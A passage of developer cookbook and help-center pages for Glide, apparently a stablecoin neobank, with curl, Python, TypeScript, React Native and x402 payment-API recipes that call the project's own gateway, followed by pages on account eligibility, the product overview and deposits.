\"fromAccountId\": \"$GLIDE_ACCOUNT_ID\",
\"toAddress\": \"0x742d35Cc6634C0532925a3b8D4C9C5E9F2b4D6A1\",
\"amountUsdc\": \"12.50\",
\"memo\": \"Invoice INV-2026-042\",
\"idempotencyKey\": \"curl-demo-$(date +%s)\"
}
}
}" | jq '.result'
```
### 7. Parse the receipt
A successful call returns a `Receipt` object:
```json theme={null}
{
"receiptId": "rcpt_01hwzk4n3mbt6c9a5vzd7qp2xr",
"status": "completed",
"amountUsdc": "12.50",
"toAddress": "0x742d35Cc6634C0532925a3b8D4C9C5E9F2b4D6A1",
"txHash": "0xabc...def",
"chain": "base",
"timestamp": "2026-05-04T11:23:01.482Z",
"agentId": "agent_curl_demo",
"policyEnvelopeId": "env_01hwzk4m9kbt6c9a5vzd7qp2xy"
}
```
The `txHash` field is the on-chain transaction hash. You can verify it independently at `basescan.org/tx/`.
## Run it
The full sequence above as a single script:
```bash theme={null}
bash examples/curl-quickstart/run.sh
```
Expected stdout:
```
[1/4] gateway health ... ok
[2/4] tool catalog ... 22 tools available
[3/4] account balance ... $1,000.00 USDC
[4/4] payment initiate ... rcpt_01hwzk4n3mbt6c9a5vzd7qp2xr status=completed
```
## Extend it
* Add `--header "Idempotency-Key: ..."` to make the payment call safe to retry.
* Pipe the `receiptId` into `audit.stream` to watch event delivery in real time.
* Replace the HMAC dev token with a production Ory JWT — no other change needed.
* Wire the receipt into a Slack webhook for payment confirmation alerts.
* Try a call that should fail policy (amount above cap) and inspect the `-32003` error body.
## Source
[github.com/darshanbathija/axtior-neobank/tree/main/examples/curl-quickstart](https://github.com/darshanbathija/axtior-neobank/tree/main/examples/curl-quickstart)
## Reading list
* [OAuth flow](/oss/headless/oauth-flow) — production JWT issuance via Ory Hydra.
* [Receipt schema](/oss/standards/receipt) — every field in the receipt object.
* [Tool reference](/oss/headless/tool-reference) — full input/output schemas for all 22 tools.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — the F-rules every payment path enforces.
# Embed OWS React Native
Source: https://glide-9da73dea.mintlify.app/cookbook/embed-ows-react-native
iOS Secure Enclave and Android StrongBox key generation, sign-and-verify, and agent identity binding in a React Native app. About 30 minutes.
This recipe integrates `@glideco/ows-react-native` into an Expo-managed React Native app. You will configure iOS Secure Enclave and Android StrongBox key generation, bind the resulting public key to an agent identity, and sign a payload that the MCP gateway verifies on-chain. Audience: mobile engineers building a React Native app that participates in the Glide agent identity system.
## Prerequisites
* Expo SDK 52 + React Native 0.76.
* Xcode 16 (for iOS Secure Enclave access).
* Android Studio Ladybug (for StrongBox API 28+).
* Node 22+ and pnpm.
* Glide running locally per the [main quickstart](/oss/quickstart).
## Steps
### 1. Clone the example
```bash theme={null}
git clone https://github.com/darshanbathija/axtior-neobank.git
cd axtior-neobank/examples/embed-ows-react-native
pnpm install
```
### 2. Install the package in your own app
If you're wiring this into an existing app rather than running the example:
```bash theme={null}
npx expo install @glideco/ows-react-native
```
The package ships pre-built native modules — no additional `pod install` or Gradle sync is needed beyond Expo's normal `prebuild`.
### 3. iOS Secure Enclave setup
Add the `com.apple.security.access-group` entitlement in your `app.json` or `app.config.ts`:
```json theme={null}
{
"ios": {
"entitlements": {
"keychain-access-groups": ["$(AppIdentifierPrefix)com.yourapp.glide"]
}
}
}
```
The native module uses `kSecAttrTokenIDSecureEnclave` when generating keys on devices with an A7 chip or later. On the iOS Simulator it falls back to software-backed keys automatically — tests pass but keys are not hardware-protected.
### 4. Android StrongBox setup
Add the permission to `AndroidManifest.xml` via `app.json`:
```json theme={null}
{
"android": {
"permissions": ["android.permission.USE_BIOMETRIC"],
"minSdkVersion": 28
}
}
```
The native module requests `setIsStrongBoxBacked(true)` when generating keys. On devices without StrongBox (Pixel 3 and earlier, most emulators), it falls back to TEE-backed keys. The `keyInfo.isInsideSecureHardware` field in the key metadata tells you which was used at runtime.
### 5. Generate a key pair
```tsx theme={null}
// src/identity.ts
import { OWSKeychain } from '@glideco/ows-react-native';
export async function generateAgentKey(agentId: string) {
const keyHandle = await OWSKeychain.generateKeyPair({
alias: `glide.agent.${agentId}`,
algorithm: 'EC', // P-256 ECDSA
requiresBiometry: true, // biometric gate on every sign call
invalidatedByBiometryChange: true,
});
const publicKeyDer = await OWSKeychain.exportPublicKey(keyHandle);
console.log('public key (DER hex):', Buffer.from(publicKeyDer).toString('hex'));
return { keyHandle, publicKeyDer };
}
```
### 6. Bind the public key to an agent identity
Send the `publicKeyDer` to the Glide MCP gateway to register it as the agent's signing key:
```ts theme={null}
// src/register.ts
import { call } from './rpc';
export async function registerAgentKey(agentId: string, publicKeyDer: Uint8Array) {
const identity = await call('treasury', 'agent-identity.register', {
agentId,
publicKeyDer: Buffer.from(publicKeyDer).toString('base64'),
keyAlgorithm: 'EC_P256',
keyBackend: 'secure-enclave', // or 'strongbox', 'tee'
});
console.log('registered:', identity.identityId);
return identity;
}
```
### 7. Sign a payload
```tsx theme={null}
// src/sign.tsx (React Native component excerpt)
import { OWSKeychain } from '@glideco/ows-react-native';
import { Alert } from 'react-native';
export async function signPayload(keyHandle: string, payload: object): Promise {
const bytes = new TextEncoder().encode(JSON.stringify(payload));
// Biometric prompt fires here on both iOS and Android.
const signatureBytes = await OWSKeychain.sign({
keyHandle,
data: bytes,
biometryPrompt: 'Confirm payment with Face ID',
});
return Buffer.from(signatureBytes).toString('base64');
}
```
### 8. Verify in the MCP gateway
The signed payload + base64 signature go into the `Authorization` header as a custom scheme, or into the JSON-RPC `auth` envelope. The gateway resolves the `agentId` → registered public key → verifies the ECDSA signature before processing the tool call.
```ts theme={null}
// Example: sign-and-call pattern
const payload = {
method: 'payments.initiate',
nonce: crypto.randomUUID(),
iat: Math.floor(Date.now() / 1000),
};
const signature = await signPayload(keyHandle, payload);
const receipt = await fetch(`${GLIDE_MCP_URL}/mcp/write`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Glide-Agent-Id': agentId,
'X-Glide-Signature': signature,
'X-Glide-Signed-Payload': btoa(JSON.stringify(payload)),
},
body: JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'tools/call',
params: { name: 'payments.initiate', arguments: { /* ... */ } },
}),
}).then(r => r.json());
```
## Run it
```bash theme={null}
# iOS Simulator
npx expo run:ios
# Android Emulator
npx expo run:android
```
Expected output in Metro console:
```
[ows-demo] generating key pair for agent_mobile_demo_01 ...
[ows-demo] public key: 3059301306072a86... (DER hex)
[ows-demo] registered identity: identity_01hwzk4n...
[ows-demo] signing test payload ...
[ows-demo] signature: MEUCIQDy... (base64)
[ows-demo] verify result: { valid: true, agentId: 'agent_mobile_demo_01' }
```
## Extend it
* Add key rotation — generate a new key pair and call `agent-identity.rotate` to replace the registered public key.
* Handle `OWSKeychain.errors.BIOMETRY_CHANGED` by prompting the user to re-authenticate and re-register.
* Store the `keyHandle` in Expo SecureStore so it survives app restarts.
* Build a React Native Storybook story for the biometric prompt to test on both platforms.
## Source
[github.com/darshanbathija/axtior-neobank/tree/main/examples/embed-ows-react-native](https://github.com/darshanbathija/axtior-neobank/tree/main/examples/embed-ows-react-native)
## Reading list
* [`@glideco/ows-react-native` package](/oss/packages/ows-react-native) — full API reference and platform compatibility matrix.
* [`@glideco/agent-identity` package](/oss/packages/agent-identity) — server-side identity registration and key verification.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — how client-side signatures fit into the F-rules.
# Cookbook
Source: https://glide-9da73dea.mintlify.app/cookbook/index
End-to-end recipes — copy, paste, extend. Each links to a runnable mini-project.
Each recipe is a self-contained mini-project you can clone and run in under 15 minutes. No toy examples — every code block reflects how the relevant path works in production.
Bare HTTP. No SDK. Five minutes to your first signed call and receipt.
Thin TS wrapper around the MCP gateway. `pnpm dev` → streaming tool calls.
Python httpx wrapper. `python src/main.py` → parsed receipt in stdout.
Full lifecycle hero recipe. Policy envelope → grant → payment → receipt → audit stream.
Scaffold, implement, and test a new connector from scratch (Stripe-shaped clone).
Write a `SkillManifest`, consent flow, and entry point. Full smoke test included.
iOS Secure Enclave + Android StrongBox key generation and sign-and-verify in a mobile app.
Pay-per-call API using `@glideco/x402-facilitator`. Server verifies on-chain; client pays and calls.
## Picking your first recipe
Not sure where to start? Pick by role:
Start with [curl quickstart](/cookbook/curl-quickstart) to understand the wire format,
then [build a connector](/cookbook/build-a-connector) to plug in your own banking rails.
Start with [TypeScript quickstart](/cookbook/typescript-quickstart) to confirm the
MCP gateway is reachable, then [agent pays vendor](/cookbook/agent-pays-vendor) for
the full policy-envelope-to-receipt lifecycle.
Start with [build a skill](/cookbook/build-a-skill) — it walks the same scaffold
pattern used by every package in the OSS Cathedral. Connector authors should read
[build a connector](/cookbook/build-a-connector) instead.
# Python quickstart
Source: https://glide-9da73dea.mintlify.app/cookbook/python-quickstart
Python httpx wrapper around the MCP gateway. `python src/main.py` — parsed receipt in stdout in under 10 minutes.
This recipe is a minimal Python project that authenticates against the Glide MCP gateway using `httpx` and `python-jose`, calls `accounts.balance`, and initiates a payment. Audience: Python engineers who want a typed, runnable baseline before wiring Glide into an existing agent or automation pipeline.
## Prerequisites
* Python 3.11+.
* `pip` or a virtualenv manager (`uv` recommended).
* Glide running locally per the [main quickstart](/oss/quickstart), or access to a hosted instance.
* `MCP_TOKEN_VERIFIER_DEV_SECRET` set in your shell or `.env`.
## Steps
### 1. Clone the example
```bash theme={null}
git clone https://github.com/darshanbathija/axtior-neobank.git
cd axtior-neobank/examples/python-quickstart
```
### 2. Install dependencies
```bash theme={null}
pip install -r requirements.txt
```
`requirements.txt`:
```
httpx==0.27.0
python-jose[cryptography]==3.3.0
pydantic==2.7.1
python-dotenv==1.0.1
```
### 3. Set environment variables
```bash theme={null}
cp .env.example .env
```
```bash theme={null}
# .env
GLIDE_MCP_URL=http://localhost:8787
GLIDE_DEV_SECRET=your_32_byte_hex_secret_here
GLIDE_AGENT_ID=agent_py_demo
GLIDE_ACCOUNT_ID=acc_demo_01
```
### 4. Review the auth module
`src/auth.py` mints a short-lived HS256 JWT for dev. In production, replace it with an `httpx` `client_credentials` call against your Ory Hydra endpoint.
```python theme={null}
# src/auth.py
import time, os
from jose import jwt
def get_token() -> str:
secret = os.environ["GLIDE_DEV_SECRET"]
now = int(time.time())
payload = {
"sub": os.environ["GLIDE_AGENT_ID"],
"aud": "glide-mcp",
"iat": now,
"exp": now + 300,
}
return jwt.encode(payload, secret, algorithm="HS256")
```
### 5. Review the RPC client
`src/rpc.py` wraps a single synchronous `httpx.post` call. It raises `GlideRPCError` on JSON-RPC errors, preserving the `code` and `data` fields so callers can distinguish policy rejections (`-32003`) from 5xx errors.
```python theme={null}
# src/rpc.py (excerpt)
import httpx, os, uuid
from dataclasses import dataclass
from auth import get_token
@dataclass
class GlideRPCError(Exception):
message: str
code: int
data: dict | None = None
def call(endpoint: str, method: str, arguments: dict) -> dict:
token = get_token()
url = f"{os.environ['GLIDE_MCP_URL']}/mcp/{endpoint}"
body = {
"jsonrpc": "2.0",
"id": str(uuid.uuid4()),
"method": "tools/call",
"params": {"name": method, "arguments": arguments},
}
r = httpx.post(url, json=body, headers={"Authorization": f"Bearer {token}"}, timeout=30)
r.raise_for_status()
resp = r.json()
if "error" in resp:
raise GlideRPCError(
message=resp["error"]["message"],
code=resp["error"]["code"],
data=resp["error"].get("data"),
)
return resp["result"]
```
### 6. Run the example
```bash theme={null}
python src/main.py
```
`src/main.py` checks the gateway health, calls `accounts.balance`, then calls `payments.initiate` with a \$2.00 test payment:
```python theme={null}
# src/main.py (excerpt)
from rpc import call, GlideRPCError
import os
balance = call("read", "accounts.balance", {"accountId": os.environ["GLIDE_ACCOUNT_ID"]})
print(f"balance: {balance['availableUsdc']} USDC")
try:
receipt = call("write", "payments.initiate", {
"fromAccountId": os.environ["GLIDE_ACCOUNT_ID"],
"toAddress": "0x742d35Cc6634C0532925a3b8D4C9C5E9F2b4D6A1",
"amountUsdc": "2.00",
"memo": "py-quickstart test",
"idempotencyKey": "py-demo-001",
})
print(f"receipt: {receipt['receiptId']} status={receipt['status']}")
except GlideRPCError as e:
print(f"rpc error {e.code}: {e.message}")
```
## Run it
```bash theme={null}
python src/main.py
```
Expected output:
```
[glide-py] gateway ok
[glide-py] balance: 1000.00 USDC (acc_demo_01)
[glide-py] receipt: rcpt_01hwzk4n3mbt6c9a5vzd7qp2xr status=completed
[glide-py] txHash: 0xabc...def chain=base
```
## Extend it
* Wrap `main.py` in a FastAPI route for a payment-initiation microservice.
* Replace the dev HMAC token with a production Ory `client_credentials` grant by editing `src/auth.py`.
* Add `pydantic` models for `Receipt` and validate the response to catch schema drift early.
* Wire `audit.stream` into a Kafka producer to feed a downstream event bus.
* Use `httpx.AsyncClient` and `asyncio` for concurrent multi-account balance checks.
## Source
[github.com/darshanbathija/axtior-neobank/tree/main/examples/python-quickstart](https://github.com/darshanbathija/axtior-neobank/tree/main/examples/python-quickstart)
## Reading list
* [Agent platform quickstart](/oss/headless/quickstart) — full `apps/mcp` bring-up and three endpoint scopes.
* [OAuth flow](/oss/headless/oauth-flow) — production JWT issuance via Ory Hydra.
* [Receipt schema](/oss/standards/receipt) — every field and its semantics.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — the F-rules every payment path enforces.
# TypeScript quickstart
Source: https://glide-9da73dea.mintlify.app/cookbook/typescript-quickstart
Thin TS wrapper around the MCP gateway. Clone, install, set env, `pnpm dev` — streaming tool calls in under 10 minutes.
This recipe stands up a minimal TypeScript project that authenticates against the Glide MCP gateway, calls `accounts.balance`, and prints the parsed response. The wrapper uses `fetch` with a typed JSON-RPC helper — no heavy SDK required. Audience: TypeScript backend engineers who want a runnable baseline before building their agent logic.
## Prerequisites
* Node 22+ and pnpm.
* Glide running locally per the [main quickstart](/oss/quickstart), or access to a hosted instance.
* `MCP_TOKEN_VERIFIER_DEV_SECRET` set in your shell (or in the repo `.env`).
## Steps
### 1. Clone the example
```bash theme={null}
git clone https://github.com/darshanbathija/axtior-neobank.git
cd axtior-neobank/examples/typescript-quickstart
```
### 2. Install dependencies
```bash theme={null}
pnpm install
```
The example only needs two direct dependencies: `jose` for JWT signing and `zod` for runtime receipt validation.
### 3. Set environment variables
Copy the example env file and fill in your values:
```bash theme={null}
cp .env.example .env
```
```bash theme={null}
# .env
GLIDE_MCP_URL=http://localhost:8787
GLIDE_DEV_SECRET=your_32_byte_hex_secret_here
GLIDE_AGENT_ID=agent_ts_demo
GLIDE_ACCOUNT_ID=acc_demo_01
```
If you have a production Ory endpoint instead of a dev secret, set `GLIDE_TOKEN_URL` and `GLIDE_CLIENT_ID` / `GLIDE_CLIENT_SECRET` — `src/auth.ts` detects which path to use.
### 4. Review the auth helper
`src/auth.ts` mints a short-lived HMAC-SHA256 JWT for dev, or does `client_credentials` against Ory for production. The resulting token is stored in module scope with auto-refresh 60 seconds before expiry.
```ts theme={null}
// src/auth.ts (excerpt)
import { SignJWT } from 'jose';
export async function getToken(): Promise {
const secret = new TextEncoder().encode(process.env.GLIDE_DEV_SECRET!);
return new SignJWT({ sub: process.env.GLIDE_AGENT_ID! })
.setProtectedHeader({ alg: 'HS256' })
.setAudience('glide-mcp')
.setIssuedAt()
.setExpirationTime('5m')
.sign(secret);
}
```
### 5. Review the RPC helper
`src/rpc.ts` is a typed wrapper around a single `fetch` call. It throws on JSON-RPC errors with the error code and data attached so callers can distinguish policy rejections (`-32003`) from network errors.
```ts theme={null}
// src/rpc.ts (excerpt)
export async function call(
endpoint: 'read' | 'write' | 'treasury',
method: string,
params: Record,
): Promise {
const token = await getToken();
const res = await fetch(`${process.env.GLIDE_MCP_URL}/mcp/${endpoint}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Bearer ${token}`,
},
body: JSON.stringify({ jsonrpc: '2.0', id: crypto.randomUUID(), method: 'tools/call', params: { name: method, arguments: params } }),
});
const body = await res.json();
if (body.error) throw Object.assign(new Error(body.error.message), { code: body.error.code, data: body.error.data });
return body.result as T;
}
```
### 6. Run the example
```bash theme={null}
pnpm dev
```
`src/main.ts` calls `accounts.balance`, prints the balance, then calls `payments.initiate` with a \$1.00 test payment to a sandbox address.
## Run it
```bash theme={null}
pnpm dev
```
Expected output:
```
[glide-ts] gateway ok
[glide-ts] balance: $1,000.00 USDC (acc_demo_01)
[glide-ts] payment initiated: rcpt_01hwzk4n3mbt6c9a5vzd7qp2xr
[glide-ts] receipt.status: completed
[glide-ts] receipt.txHash: 0xabc...def (chain: base)
```
## Extend it
* Replace `src/main.ts` with an Express server that exposes a `/pay` endpoint — the RPC helper is already reusable.
* Swap the dev HMAC auth for production Ory `client_credentials` by setting `GLIDE_TOKEN_URL` in `.env`.
* Add a `zod` schema on `receipt` and log a structured event to Datadog on each payment.
* Chain `audit.stream` after `payments.initiate` to confirm event delivery before returning to the caller.
* Move the token refresh logic to an Inngest function for long-running agent processes.
## Source
[github.com/darshanbathija/axtior-neobank/tree/main/examples/typescript-quickstart](https://github.com/darshanbathija/axtior-neobank/tree/main/examples/typescript-quickstart)
## Reading list
* [Agent platform quickstart](/oss/headless/quickstart) — full `apps/mcp` bring-up, three endpoint scopes, step-up flow.
* [Tool reference](/oss/headless/tool-reference) — input/output schemas for all 22 tools.
* [Receipt schema](/oss/standards/receipt) — every field and its semantics.
* [OAuth flow](/oss/headless/oauth-flow) — production JWT issuance via Ory Hydra.
* [API clients reference](/agents/api/index) — hosted Glide client options.
# x402 paid API
Source: https://glide-9da73dea.mintlify.app/cookbook/x402-paid-api
Build a pay-per-call API using @glideco/x402-facilitator. Server calls handleVerify and handleSettle directly; client sends X-Payment header. About 25 minutes.
This recipe builds an Express server that returns HTTP 402 until an on-chain USDC payment is
verified. `handleVerify` and `handleSettle` from `@glideco/x402-facilitator` are called
directly in route handlers — there is no Express middleware abstraction. The client
side constructs and sends the `X-Payment` header with a payment payload.
**F1 rule:** the server verifies payment via server-side RPC, never by trusting a
facilitator response body. `on_chain_tx` in the receipt is always server-fetched from
chain RPC.
Audience: developers who want to monetize an API call without a billing dashboard.
## Prerequisites
* Node 22+ and pnpm.
* A Base Sepolia wallet with test USDC — get some from the [Coinbase faucet](https://faucet.base.org).
* Optional: a Chainalysis API key if you want real sanctions screening instead of the
permissive demo screener.
## Steps
### 1. Clone the example
```bash theme={null}
cd axtior-neobank/examples/x402-paid-api
pnpm install
```
### 2. Set environment variables
```bash theme={null}
cp .env.example .env
```
```bash theme={null}
# .env
PORT=3001
PAYEE_ADDRESS=0xYourPayeeAddress000000000000000000000001
```
### 3. Build the server (`src/server.ts`)
The server exposes three routes:
* `GET /api/weather` — returns 402 (no payment) or 200 (valid payment)
* `POST /x402/verify` — verify a payment payload; returns `{ isValid, ... }`
* `POST /x402/settle` — settle on-chain (mocked in the example); returns `{ success, txHash }`
```ts theme={null}
// src/server.ts
import express from 'express';
import {
handleVerify,
handleSettle,
X402_VERSION_HEADER,
X402_FACILITATOR_VERSION,
type HandleVerifyDeps,
type HandleSettleDeps,
type SettleResponse,
type ComplianceScreener,
type ScreeningResult,
} from '@glideco/x402-facilitator';
const PORT = Number(process.env['PORT'] ?? 3001);
const PAYEE_ADDRESS = process.env['PAYEE_ADDRESS']!;
const PRICE_USDC_MICRO = 1000; // 0.001 USDC (6 decimals)
const app = express();
app.use(express.json({ limit: '4mb' }));
```
**Compliance screener.** The example uses a permissive allow-all screener so it runs
without Chainalysis credentials. Swap in `@glideco/connector-chainalysis` in production —
the `ComplianceScreener` interface is the same.
```ts theme={null}
// Permissive demo screener — replace with @glideco/connector-chainalysis in production
const permissiveScreener: ComplianceScreener = {
async screenSanctions(): Promise {
return { verdict: 'allow', reason: 'permissive-demo', provider: 'demo' };
},
};
```
**`/x402/verify` route.** Decodes the payment payload and runs the compliance pipeline.
In production, replace the demo decoder with EIP-712 signed transfer authorization
validation.
```ts theme={null}
const verifyDeps: HandleVerifyDeps = {
async decodePayload({ payload }) {
if (payload.startsWith('demo-')) {
return {
valid: true,
payerAddress: '0xDemoPayerAddress000000000000000000000001',
payeeAddress: PAYEE_ADDRESS,
amount: String(PRICE_USDC_MICRO),
};
}
return { valid: false, invalidReason: 'invalid_signature' as const };
},
screener: permissiveScreener,
};
app.post('/x402/verify', async (req, res) => {
const result = await handleVerify(req.body, verifyDeps);
res.setHeader(X402_VERSION_HEADER, X402_FACILITATOR_VERSION);
res.json(result);
});
```
**`/x402/settle` route.** Derives a content-bound idempotency key, replays on cache hit,
re-verifies (TOCTOU defense), then broadcasts.
```ts theme={null}
const idempotencyCache = new Map();
const settleDeps: HandleSettleDeps = {
async preflightVerify(request) {
return handleVerify(request, verifyDeps);
},
async loadIdempotent(key) {
return idempotencyCache.get(key);
},
async storeIdempotent(key, response) {
idempotencyCache.set(key, response);
},
async broadcast({ network }) {
// Production: call USDC.transfer on Base via viem or ethers.
// Return the real txHash from the chain receipt — never from a
// facilitator response body (F1 IRON RULE).
return {
success: true,
txHash: `0x${'demo'.repeat(16)}`.slice(0, 66),
blockNumber: 12_345_678,
};
},
};
app.post('/x402/settle', async (req, res) => {
const result = await handleSettle(req.body, settleDeps);
res.setHeader(X402_VERSION_HEADER, X402_FACILITATOR_VERSION);
res.json(result);
});
```
**Paid endpoint.** On a request without `X-Payment`, return 402 with the payment
requirements. On a request with `X-Payment`, call `handleVerify` directly before
returning data.
```ts theme={null}
app.get('/api/weather', async (req, res) => {
const paymentHeader = req.headers['x-payment'] as string | undefined;
if (!paymentHeader) {
res.status(402).json({
x402Version: X402_FACILITATOR_VERSION,
error: 'Payment required',
accepts: [
{
scheme: 'exact',
network: 'base',
resource: `${req.protocol}://${req.get('host')}/api/weather`,
description: 'Weather data — 0.001 USDC per call',
mimeType: 'application/json',
payTo: PAYEE_ADDRESS,
maxAmountRequired: String(PRICE_USDC_MICRO),
maxTimeoutSeconds: 60,
asset: '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913', // USDC on Base
extra: { facilitatorUrl: `http://localhost:${PORT}` },
},
],
});
return;
}
// Verify the payment before returning data. Do NOT trust the header
// value without verification — F1 rule.
const verifyResult = await handleVerify(
{
x402Version: X402_FACILITATOR_VERSION,
paymentPayload: paymentHeader,
paymentRequirements: {
scheme: 'exact',
network: 'base',
resource: `${req.protocol}://${req.get('host')}/api/weather`,
payTo: PAYEE_ADDRESS,
maxAmountRequired: String(PRICE_USDC_MICRO),
maxTimeoutSeconds: 60,
asset: '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913',
},
},
verifyDeps
);
if (!verifyResult.isValid) {
res.status(402).json({
error: 'invalid_payment',
reason: verifyResult.invalidReason,
});
return;
}
res.json({ temp: 72, unit: 'F', city: 'San Francisco' });
});
app.listen(PORT, () => {
console.log(`[server] listening on http://localhost:${PORT}`);
});
```
### 4. Write the client (`src/client.ts`)
The client follows the four-step x402 flow: probe → verify → settle → retry with header.
No special x402 client library is needed — standard `fetch` throughout.
```ts theme={null}
// src/client.ts
const BASE_URL = `http://localhost:${process.env['PORT'] ?? 3001}`;
// Step 1: hit the paid endpoint — expect 402
const firstRes = await fetch(`${BASE_URL}/api/weather`);
const fourOhTwo = await firstRes.json();
const req = fourOhTwo.accepts[0];
// Step 2: construct a demo payment payload and verify it
const demoPayload = `demo-payment-${Date.now()}`;
const verifyRes = await fetch(`${BASE_URL}/x402/verify`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
x402Version: fourOhTwo.x402Version,
paymentPayload: demoPayload,
paymentRequirements: req,
}),
});
const verifyBody = await verifyRes.json();
if (!verifyBody.isValid) throw new Error('verify failed');
// Step 3: settle (broadcasts the mock transfer)
const settleRes = await fetch(`${BASE_URL}/x402/settle`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
x402Version: fourOhTwo.x402Version,
paymentPayload: demoPayload,
paymentRequirements: req,
idempotencyKey: `weather-${Date.now()}`,
}),
});
const settleBody = await settleRes.json();
console.log('settled txHash:', settleBody.txHash?.slice(0, 20));
// Step 4: retry with X-Payment header
const paidRes = await fetch(`${BASE_URL}/api/weather`, {
headers: { 'X-Payment': demoPayload },
});
const data = await paidRes.json();
console.log('weather:', JSON.stringify(data));
```
In production, replace the demo payload with a real EIP-712 signed USDC transfer
authorization from the payer's wallet.
## Run it
```bash theme={null}
# Terminal 1
npx tsx src/server.ts
# Terminal 2
npx tsx src/client.ts
```
Expected output:
```
[server] listening on http://localhost:3001
[client] settled txHash: 0xdemodemodemo...
[client] weather: {"temp":72,"unit":"F","city":"San Francisco"}
```
## Extend it
* Swap the permissive screener for `@glideco/connector-chainalysis` to get real OFAC screening on every payment.
* Move `idempotencyCache` to Redis so replay protection survives server restarts.
* Add tiered pricing: return different `maxAmountRequired` values per endpoint in the 402 body.
* Port to a Next.js API route — call `handleVerify` and `handleSettle` directly in the route handler; the pattern is identical.
* Derive the idempotency cache key using `deriveIdempotencyCacheKey` from `@glideco/x402-facilitator` — it binds the key to `(payTo, network, payloadHash)` to prevent cross-tenant cache poisoning.
## Source
[github.com/darshanbathija/axtior-neobank/tree/main/examples/x402-paid-api](https://github.com/darshanbathija/axtior-neobank/tree/main/examples/x402-paid-api)
## Reading list
* [`@glideco/x402-facilitator` package](/oss/packages/x402-facilitator) — `handleVerify`, `handleSettle`, `runCompliancePipeline`, `deriveIdempotencyCacheKey` API reference.
* [`@repo/connectors-coinbase-x402`](/oss/packages/connectors-coinbase-x402) — `decodeXPaymentHeader`, `encodeXPaymentHeader`, `handleX402Request` for production client-side payment construction.
* [Receipt schema](/oss/standards/receipt) — how x402 receipts map to the Glide receipt model.
* [F1 rule](/oss/security/money-safety-rules) — why `on_chain_tx` must be server-fetched, never from a facilitator body.
# Who can open an account
Source: https://glide-9da73dea.mintlify.app/eligibility
Glide is open to most countries and most industries, including those traditional banks won't serve.
Glide was built for everyone the traditional financial system underserves. Your passport, country, industry, and income source should not decide whether you can open an account.
## Who Glide serves
Get paid by global clients, hold earnings in any currency, spend from one account.
One account that works in every country you move to. No proof-of-address gating.
Deposit USDC, USDT, and other major stablecoins. Spend with your Glide card.
Send money home or receive it without losing 3–5% to remittance fees.
Token projects, DAOs, exchanges. We built our compliance around you.
Pre-seed to Series C, e-commerce to agencies. No revenue requirements.
## Countries we serve
Glide is available in **180+ countries**. The card and stablecoin rails work worldwide. Local bank account details are available in CAD, USD, GBP, EUR, SGD, HKD, AUD, and more, with new corridors added every quarter.
There's no nationality restriction on opening. Your KYC review uses standard global checks; we don't deny based on country of origin.
## Sanctioned countries and persons
We can't serve customers in OFAC-sanctioned jurisdictions or persons on global sanctions lists. Every account is screened on opening and continuously thereafter. See [KYC and AML](/security/kyc-aml).
## Crypto-native companies
Yes, we support them. Glide was built around the regulatory analysis crypto companies need: clear stablecoin rails, segregated account posture, transparent transaction monitoring, and reporting that satisfies your auditors.
If you're operating an exchange, custody business, or token issuer, contact [hi@glide.co](mailto:hi@glide.co) with a one-line description of the business and we'll route you to a relationship manager.
## What we don't do
* Cannabis, firearms, gambling under most jurisdictions.
* Mixers, tumblers, and similar privacy infrastructure that obscures source-of-funds.
* Securities issuance directly through Glide (we're not a broker-dealer).
If you're unsure whether your use case fits, just ask. We answer eligibility questions on the same business day.
## Next
* [Quickstart](/quickstart) — open an account.
* [Identity verification](/accounts/identity) — what KYC actually checks.
* [Regulatory](/security/regulatory) — the licenses behind your account.
# Welcome to Glide
Source: https://glide-9da73dea.mintlify.app/index
The stablecoin neobank for global freelancers, digital nomads, crypto founders, and businesses.
Glide is a regulated neobank with stablecoins built in. Open an account from any country. Hold and spend in 80+ currencies. Send money to 180 countries. Deposit USDC and USDT and convert to fiat on the same screen.
This is the help center. Everything you need to use your account is here.
## What you can do with Glide
No nationality restrictions. No minimum deposit. Crypto deposits work immediately.
Physical and virtual cards. Apple Pay and Google Pay ready. No foreign transaction fees from Glide.
Your own account details in CAD, USD, GBP, EUR, SGD, HKD, AUD, and more. Receive like a local.
Deposit USDC and USDT, convert to fiat in seconds, withdraw to any wallet you control.
## How your money is protected
Every dollar you deposit is held 1:1 in segregated accounts at major regulated banks. Not pooled. Not lent out. Not accessible by Glide.
Five jurisdictions: Canada, UK, EU, Hong Kong, Singapore.
Funds held 1:1 at banking partners. Insolvency-safe.
Sanctions screening, transaction monitoring, KYC/AML on every account.
## For businesses
Multi-entity accounts. Stablecoin payroll. Corporate cards with per-employee limits. Cross-border payments across 80+ corridors. From pre-seed to Series C, e-commerce to agencies.
## Agent banking
Let Claude, ChatGPT, or a Vertex agent operate a scoped sub-vault under your policy envelope. Cap per-transaction spend, allowlist counterparties, require step-up approval over a threshold, watch the audit log live.
## Help and support
24/7 human support. Email [hi@glide.co](mailto:hi@glide.co) or use the in-app chat. Business accounts get a dedicated relationship manager.
# Deposits
Source: https://glide-9da73dea.mintlify.app/money/deposits
Add money to your account via stablecoin transfer or bank wire. Deposits land in seconds (crypto) or minutes (local rails).
Glide accepts deposits two ways: stablecoin transfers and traditional bank rails. Crypto works pre-KYC; bank rails activate once your identity is verified.
## Deposit a stablecoin
USDC and USDT settle in seconds and require no KYC.
From your dashboard, tap **Deposit → From crypto wallet**.
Choose Ethereum, Solana, Base, or Polygon (full list in [supported networks](/stablecoins/supported-networks)). The network determines the address you'll send to and the gas cost.
Glide generates a deposit address unique to your account. Copy it, or scan the QR code from your wallet app.
Send only the asset and network shown. Sending a different asset to this address may result in permanent loss; sending on the wrong network can take days to recover (and may not be recoverable on some chains).
Initiate the transfer from your wallet. Watch the dashboard; the deposit shows as pending immediately and clears after on-chain confirmations (USDC on Solana confirms in \<5s; USDC on Ethereum mainnet takes \~1–3 minutes).
## Deposit fiat by bank wire
Once your KYC clears, you'll see local account details for every named-account currency you've activated.
